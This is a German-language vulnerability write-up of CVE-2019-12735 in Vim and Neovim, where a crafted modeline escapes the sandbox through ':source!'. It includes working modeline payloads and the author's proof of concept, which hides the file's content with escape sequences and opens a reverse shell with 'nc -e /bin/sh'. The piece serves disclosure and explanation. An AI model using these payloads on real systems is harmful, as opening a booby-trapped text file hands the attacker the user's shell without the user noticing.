
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim vor Version 8.1.1365 und Neovim vor Version 0.3.6 weisen eine Schwachstelle auf, die eine einfache Arbitrary Code Execution über die Modeline ermöglicht, wenn eine Textdatei mit speziellem Inhalt geöffnet wird.
Die Modeline ist eine standardmäßig aktivierte Funktion, die für alle Dateitypen gilt, einschließlich .txt-Dateien. Sie dient dazu, automatisch eine Reihe von Optionen zu suchen und anzuwenden/auszuführen, die vom Ersteller der Datei am Anfang und Ende der Datei angegeben wurden. Nachfolgend eine typische Modeline-Befehlszeile:
/* vim: set textwidth=80 tabstop=8: */
Aus Sicherheitsgründen ist in Modelines nur eine Teilmenge der Optionen zulässig, und wenn ein Optionswert einen Ausdruck enthält, wird dieser in der Sandbox ausgeführt:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
Die Sandbox verhindert Nebenwirkungen:
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
Allerdings kann der Befehl :source! (mit [!] am Ende) verwendet werden, um die Sandbox zu umgehen. Er zwingt Vim, die Befehle aus einer bestimmten Datei zu lesen und auszuführen, als wären sie manuell in Vim eingegeben worden – sie werden also nach dem Verlassen der Sandbox ausgeführt. Genau diese Eigenschaft erzeugt die Schwachstelle, die eine Arbitrary Code Execution über Vim ermöglicht.
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
Auf Basis dieser Schwachstelle lässt sich eine Modeline konstruieren, die Code außerhalb der Sandbox ausführt:
# vim: set foldexpr=execute('\:source! some_file'):
Alternativ zu execute() kann auch assert_fails() verwendet werden:
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
Hängt man hinter source! das Zeichen % an, wird die aktuelle Datei ausgeführt. Das folgende Beispiel führt nacheinander uname -a || "(garbage)" als Shell-Befehl aus:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Darüber hinaus ist die Funktion nvim_input() speziell auf die Ausnutzung der Schwachstelle in Neovim ausgerichtet und wird wie im folgenden Beispiel verwendet:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
Der Autor hat einen PoC veröffentlicht, der eine Reverse Shell erzeugt. Dabei wird das Esc-Zeichen verwendet, um den Inhalt zu verbergen, wenn der Leser die Datei öffnet, indem neuer Inhalt in die Datei geschrieben wird.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
Oben ist ein PoC des Autors. Zur besseren Verständlichkeit kürzen wir diesen PoC jedoch an einigen Stellen zu Folgendem:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
Beim Öffnen mit Vim prüft die Modeline-Funktion den Anfang und das Ende der Datei auf die Modeline-Anweisung (hier: 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'). Wird sie gefunden, wird die Anweisung ausgeführt. Wie bereits zur Funktionsweise der Modeline beschrieben, führt der Befehl source! % die aktuelle Datei so aus, als würde man ihren Inhalt manuell in Vim eintippen.
Zunächst führt er die Zeichenkette "\x1bSNothing here.\x1b:silent! w " aus. Wer Vim bereits verwendet hat, kennt sicherlich den command-Modus in Vim. Um in diesen Modus zu gelangen, genügt das Drücken der Esc-Taste; diese hat den Wert 0x1b. Genau deshalb steht am Anfang des obigen PoC 0x1b, um in Vim in den command-Modus zu wechseln.
Im command-Modus löscht das Drücken der Taste S sofort den Inhalt der aktuell markierten Zeile und wechselt zurück in den insert-Modus. Deshalb folgt als nächstes Zeichen ein S, um den Inhalt der PoC-Datei zu löschen und neuen Inhalt zu erzeugen.
Nun wird der Text "Nothing here." in die Datei eingefügt. Danach folgt das Esc-Zeichen, um zurück in den command-Modus zu wechseln, sowie die Befehlsfolge :silent! w, um den neuen Text ("Nothing here.") ohne jegliche Bildschirmausgabe in die Datei zu schreiben.
Nachdem die Datei geschrieben wurde, fährt er mit dem Befehl call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') und den darauf folgenden Befehlen fort, um eine Reverse Shell zu erzeugen. Beim letzten Befehl – silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n – steht hinter silent! das Zeichen #, sodass Vim dies als Kommentar behandelt und nicht ausführt.
Wenn der Benutzer den obigen PoC also mit Vim/Neovim öffnet, erhält der Angreifer Zugriff auf die Shell des Benutzers, ohne dass dieser es überhaupt bemerkt – auf dem Bildschirm des Benutzers erscheint lediglich die Textzeile "Nothing here.", die gerade eben über die Modeline-Funktion geschrieben wurde.
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md